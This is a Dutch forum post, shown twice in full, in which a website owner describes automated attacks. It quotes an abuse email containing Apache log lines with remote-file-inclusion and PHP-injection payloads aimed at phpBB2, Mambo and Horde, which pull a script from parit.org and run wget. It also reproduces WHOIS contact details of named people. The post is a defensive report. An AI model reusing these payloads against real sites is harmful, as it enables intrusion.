Likes: 
Het is nu een poosje later en de site is er nog steeds niet van afgehaald. Waarschijnlijk dedicated...
Dit is wat ik die gasten van savit.fr heb gestuurd (zie onder)
Ik had de site nog niet op dit nieuwe IP gezet of werd al aangevallen :\ Diegene van wie het IP werkelijk is heb ik ook maar even op de hoogte gesteld (ah al mailtje terug: Dit is ons bekend, dit komt regelmatig langs………… Deze scripts zoeken gewoon naar oude versies van bepaalde software en dus niet tegen te beveiligen. Wel je scripts up to date houden!!!).
Via .htaccess is het niet zo heel erg lastig te zoeken naar :// toch? In aanvallen komt http:// nogal vaak voor (externe scripts aanroepen)…
Overigens ik kom bij E-Dentify weg waar ze zaterdag een disk failure hebben gehad en toen erachter kwamen dat de backup het 23 dagen niet gedaan heeft :
(als ik overigens wel een ding niet doe, dan is het houden van de software in de opgegeven mappen (niet uit beveiligingsprincipe).
Mailtje:
L.s.
We from AeroTronic (The Netherlands) made through just a small automated attack by parit.org. A site which you are hosting according to allwhois.com (see below).
Hereby I send you the attacks they tried:
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/horde, referer: hp://85.17.36.188/horde/services/help/?show=about&module=;%22.passthru(%22echo%20IROCKTH EWORLD%22);'.
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/mail, referer: hp://85.17.36.188/mail/horde/services/help/?show=about&module=;%22.passthru(%22echo%20IROCKTH EWORLD%22);'.
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/webmail, referer: hp://85.17.36.188/webmail/horde/services/help/?show=about&module=;%22.passthru(%22echo%20IROCKTH EWORLD%22);'.
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/services, referer: 85.17.36.188/services/help/?show=about&module=;%22.passthru(%22echo%20IROCKTH EWORLD%22);'.
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/phpBB2, referer: http://85.17.36.188/phpBB2/admin_sty....gif?&cmd=wget
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/phpBB2, referer: http://85.17.36.188/phpBB2/admin/adm....gif?&cmd=wget
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/modules, referer: http://85.17.36.188/modules/Forums/a....gif?&cmd=wget
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/forum, referer: http://85.17.36.188/forum/admin/admi....gif?&cmd=wget
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/modules, referer: http://85.17.36.188/modules/PNphpBB2....gif?&cmd=wget
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/forums, referer: http://85.17.36.188/forums/admin/adm....gif?&cmd=wget
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/Forums, referer: http://85.17.36.188/Forums/admin/adm....gif?&cmd=wget
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/admin, referer: http://85.17.36.188/admin/admin_styl....gif?&cmd=wget
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/cms, referer: http://85.17.36.188/cms/index2.php?o...2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=parit.org/CMD.gif?&cmd=wget
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/cms, referer: http://85.17.36.188/cms/index.php?op...2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=parit.org/CMD.gif?&cmd=wget
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/mb, referer: http://85.17.36.188/mb/index2.php?op...2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=parit.org/CMD.gif?&cmd=wget
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/mb, referer: http://85.17.36.188/mb/index.php?opt...2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=parit.org/CMD.gif?&cmd=wget
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/mambo, referer: http://85.17.36.188/mambo/index2.php...2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=parit.org/CMD.gif?&cmd=wget
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/mambo, referer: http://85.17.36.188/mambo/index.php?...2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=parit.org/CMD.gif?&cmd=wget
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/site, referer: http://85.17.36.188/site/index2.php?...2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=parit.org/CMD.gif?&cmd=wget
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/site, referer: http://85.17.36.188/site/index.php?o...2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=parit.org/CMD.gif?&cmd=wget
[client 217.160.18.135] script '/home/httpd/vhosts/aerotronic.nl/httpdocs/index.php' not found or unable to stat, referer: http://85.17.36.188/index.php?option...2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=parit.org/CMD.gif?&cmd=wget
I learned something of this. We will protect our systems by .htaccess (which will redirect the user when there’s found a `://` in the script).
I hope that you will undertake the actions, which I take for granted and whom you are possibly legally forced to, immediately.
Thanks in advance
Best regards,
Aldert Berends
AeroTronic.nl
Sebaldeburen, The Netherlands
Below the info from allwhois.com:
NOTICE: Access to .ORG WHOIS information is provided to assist persons in determining the contents of a domain name registration record in the Public Interest Registryregistry database. The data in this record is provided by Public Interest Registryfor informational purposes only, and Public Interest Registry does not guarantee its accuracy. This service is intended only for query-based access. You agree that you will use this data only for lawful purposes and that, under no circumstances will you use this data to: (a) allow, enable, or otherwise support the transmission by e-mail, telephone, or facsimile of mass unsolicited, commercial advertising or solicitations to entities other than the data recipient's own existing customers; or (b) enable high volume, automated, electronic processes that send queries or data to the systems of Registry Operator or any ICANN-Accredited Registrar, except as reasonably necessary to register domain names or modify existing registrations. All rights reserved. Public Interest Registry reserves the right to modify these terms at any time. By submitting this query, you agree to abide by this policy.
Domain ID113967711-LROR
Domain Name:PARIT.ORG
Created On:30-Jan-2006 19:29:58 UTC
Last Updated On:25-Jul-2006 18:50:23 UTC
Expiration Date:30-Jan-2007 19:29:58 UTC
Sponsoring RegistrarVH SARL (R135-LROR)
Status:CLIENT DELETE PROHIBITED
Status:CLIENT TRANSFER PROHIBITED
Status:CLIENT UPDATE PROHIBITED
Registrant ID:ZBMXOP605-OVH
Registrant Name:Canale Jeremy
Registrant Organization:PARIT
Registrant Street1:NC
Registrant Street2:
Registrant Street3:
Registrant City:Paris
Registrant State/Province:
Registrant Postal Code:92000
Registrant Country:FR
Registrant Phone:+33.899701761
Registrant Phone Ext.:
Registrant FAX:
Registrant FAX Ext.:
Registrant Emaileloaded_matrix_revolutions@hotmail.com
Admin ID:RTHKQM3024-OVH
Admin Name:Tean James
Admin Organization:PARIT
Admin Street1:NC
Admin Street2:
Admin Street3:
Admin City:Paris
Admin State/Province:
Admin Postal Code:92000
Admin Country:FR
Admin Phone:+33.899701761
Admin Phone Ext.:
Admin FAX:
Admin FAX Ext.:
Admin Email:contact@sivit.og
Tech ID:RTHKQM3024-OVH
Tech Name:Tean James
Tech Organization:PARIT
Tech Street1:NC
Tech Street2:
Tech Street3:
Tech City:Paris
Tech State/Province:
Tech Postal Code:92000
Tech Country:FR
Tech Phone:+33.899701761
Tech Phone Ext.:
Tech FAX:
Tech FAX Ext.:
Tech Email:contact@sivit.og
Name Server:NS2.SIVIT.ORG
Name Server:NS1.PARIT.ORG
EDIT: AAAAAAAH kelere autolink opties van die *^&% van een fora (http:// is nu weg, indexen door zoekmachines van deze link lijkt mij wel een slecht idee).
Het is nu een poosje later en de site is er nog steeds niet van afgehaald. Waarschijnlijk dedicated...
Dit is wat ik die gasten van savit.fr heb gestuurd (zie onder)
Ik had de site nog niet op dit nieuwe IP gezet of werd al aangevallen :\ Diegene van wie het IP werkelijk is heb ik ook maar even op de hoogte gesteld (ah al mailtje terug: Dit is ons bekend, dit komt regelmatig langs………… Deze scripts zoeken gewoon naar oude versies van bepaalde software en dus niet tegen te beveiligen. Wel je scripts up to date houden!!!).
Via .htaccess is het niet zo heel erg lastig te zoeken naar :// toch? In aanvallen komt http:// nogal vaak voor (externe scripts aanroepen)…
Overigens ik kom bij E-Dentify weg waar ze zaterdag een disk failure hebben gehad en toen erachter kwamen dat de backup het 23 dagen niet gedaan heeft :
(als ik overigens wel een ding niet doe, dan is het houden van de software in de opgegeven mappen (niet uit beveiligingsprincipe).
Mailtje:
L.s.
We from AeroTronic (The Netherlands) made through just a small automated attack by parit.org. A site which you are hosting according to allwhois.com (see below).
Hereby I send you the attacks they tried:
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/horde, referer: 85.17.36.188/horde/services/help/?show=about&module=;%22.passthru(%22echo%20IROCKTH EWORLD%22);'.
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/mail, referer: 85.17.36.188/mail/horde/services/help/?show=about&module=;%22.passthru(%22echo%20IROCKTH EWORLD%22);'.
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/webmail, referer: 85.17.36.188/webmail/horde/services/help/?show=about&module=;%22.passthru(%22echo%20IROCKTH EWORLD%22);'.
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/services, referer: 85.17.36.188/services/help/?show=about&module=;%22.passthru(%22echo%20IROCKTH EWORLD%22);'.
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/phpBB2, referer: 85.17.36.188/phpBB2/admin_styles.php?phpbb_root_path=parit.org/CMD.gif?&cmd=wget
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/phpBB2, referer: 85.17.36.188/phpBB2/admin/admin_styles.php?phpbb_root_path=parit.org/CMD.gif?&cmd=wget
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/modules, referer: 85.17.36.188/modules/Forums/admin/admin_styles.php?phpbb_root_path=parit.org/CMD.gif?&cmd=wget
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/forum, referer: 85.17.36.188/forum/admin/admin_styles.php?phpbb_root_path=parit.org/CMD.gif?&cmd=wget
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/modules, referer: 85.17.36.188/modules/PNphpBB2/includes/functions_admin.phpfunctions_admin.php?phpbb_root_ path=parit.org/CMD.gif?&cmd=wget
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/forums, referer: 85.17.36.188/forums/admin/admin_styles.php?phpbb_root_path=parit.org/CMD.gif?&cmd=wget
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/Forums, referer: 85.17.36.188/Forums/admin/admin_styles.php?phpbb_root_path=parit.org/CMD.gif?&cmd=wget
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/admin, referer: 85.17.36.188/admin/admin_styles.php?phpbb_root_path=parit.org/CMD.gif?&cmd=wget
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/cms, referer: 85.17.36.188/cms/index2.php?option=com_content&do_pdf=1&id=1index2. php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=parit.org/CMD.gif?&cmd=wget
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/cms, referer: 85.17.36.188/cms/index.php?option=com_content&do_pdf=1&id=1index2.p hp?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=parit.org/CMD.gif?&cmd=wget
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/mb, referer: 85.17.36.188/mb/index2.php?option=com_content&do_pdf=1&id=1index2. php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=parit.org/CMD.gif?&cmd=wget
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/mb, referer: 85.17.36.188/mb/index.php?option=com_content&do_pdf=1&id=1index2.p hp?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=parit.org/CMD.gif?&cmd=wget
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/mambo, referer: 85.17.36.188/mambo/index2.php?option=com_content&do_pdf=1&id=1index2. php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=parit.org/CMD.gif?&cmd=wget
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/mambo, referer: 85.17.36.188/mambo/index.php?option=com_content&do_pdf=1&id=1index2.p hp?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=parit.org/CMD.gif?&cmd=wget
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/site, referer: 85.17.36.188/site/index2.php?option=com_content&do_pdf=1&id=1index2. php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=parit.org/CMD.gif?&cmd=wget
[Sun Sep 24 23:45:34 2006] [error] [client 217.160.18.135] File does not exist: /home/httpd/vhosts/aerotronic.nl/httpdocs/site, referer: 85.17.36.188/site/index.php?option=com_content&do_pdf=1&id=1index2.p hp?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=parit.org/CMD.gif?&cmd=wget
[client 217.160.18.135] script '/home/httpd/vhosts/aerotronic.nl/httpdocs/index.php' not found or unable to stat, referer: 85.17.36.188/index.php?option=com_content&do_pdf=1&id=1index2.p hp?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=parit.org/CMD.gif?&cmd=wget
I learned something of this. We will protect our systems by .htaccess (which will redirect the user when there’s found a `://` in the script).
I hope that you will undertake the actions, which I take for granted and whom you are possibly legally forced to, immediately.
Thanks in advance
Best regards,
Aldert Berends
AeroTronic.nl
Sebaldeburen, The Netherlands
Below the info from allwhois.com:
NOTICE: Access to .ORG WHOIS information is provided to assist persons in determining the contents of a domain name registration record in the Public Interest Registryregistry database. The data in this record is provided by Public Interest Registryfor informational purposes only, and Public Interest Registry does not guarantee its accuracy. This service is intended only for query-based access. You agree that you will use this data only for lawful purposes and that, under no circumstances will you use this data to: (a) allow, enable, or otherwise support the transmission by e-mail, telephone, or facsimile of mass unsolicited, commercial advertising or solicitations to entities other than the data recipient's own existing customers; or (b) enable high volume, automated, electronic processes that send queries or data to the systems of Registry Operator or any ICANN-Accredited Registrar, except as reasonably necessary to register domain names or modify existing registrations. All rights reserved. Public Interest Registry reserves the right to modify these terms at any time. By submitting this query, you agree to abide by this policy.
Domain ID
Domain Name:PARIT.ORG
Created On:30-Jan-2006 19:29:58 UTC
Last Updated On:25-Jul-2006 18:50:23 UTC
Expiration Date:30-Jan-2007 19:29:58 UTC
Sponsoring Registrar
Status:CLIENT DELETE PROHIBITED
Status:CLIENT TRANSFER PROHIBITED
Status:CLIENT UPDATE PROHIBITED
Registrant ID:ZBMXOP605-OVH
Registrant Name:Canale Jeremy
Registrant Organization:PARIT
Registrant Street1:NC
Registrant Street2:
Registrant Street3:
Registrant City:Paris
Registrant State/Province:
Registrant Postal Code:92000
Registrant Country:FR
Registrant Phone:+33.899701761
Registrant Phone Ext.:
Registrant FAX:
Registrant FAX Ext.:
Registrant Email
Admin ID:RTHKQM3024-OVH
Admin Name:Tean James
Admin Organization:PARIT
Admin Street1:NC
Admin Street2:
Admin Street3:
Admin City:Paris
Admin State/Province:
Admin Postal Code:92000
Admin Country:FR
Admin Phone:+33.899701761
Admin Phone Ext.:
Admin FAX:
Admin FAX Ext.:
Admin Email:contact@sivit.og
Tech ID:RTHKQM3024-OVH
Tech Name:Tean James
Tech Organization:PARIT
Tech Street1:NC
Tech Street2:
Tech Street3:
Tech City:Paris
Tech State/Province:
Tech Postal Code:92000
Tech Country:FR
Tech Phone:+33.899701761
Tech Phone Ext.:
Tech FAX:
Tech FAX Ext.:
Tech Email:contact@sivit.og
Name Server:NS2.SIVIT.ORG
Name Server:NS1.PARIT.ORG
